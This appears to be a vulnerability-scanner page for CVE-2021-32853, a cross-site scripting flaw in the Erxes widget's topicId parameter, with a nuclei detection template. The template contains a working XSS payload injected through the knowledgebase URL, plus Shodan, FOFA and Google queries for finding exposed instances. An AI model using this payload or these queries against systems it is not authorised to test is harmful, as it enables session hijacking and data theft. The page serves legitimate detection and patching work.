Erxes <0.23.0 - Cross-Site Scripting

criticalseverity

9.6CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "topic_id: \"</script><script>alert(document.domain)</script>" and "window.erxesEnv" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-32853 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-32853

info:
  name: Erxes <0.23.0 - Cross-Site Scripting
  author: dwisiswant0
  severity: critical
  description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2021-32853
    cwe-id: CWE-79
    epss-score: 0.03125
    epss-percentile: 0.8796
    cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: erxes
    product: erxes
    shodan-query: http.title:"erxes"
    fofa-query: title="erxes"
    google-query: intitle:"erxes"
  tags: cve2021,cve,xss,erxes,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'topic_id: "</script><script>alert(document.domain)</script>'
          - "window.erxesEnv"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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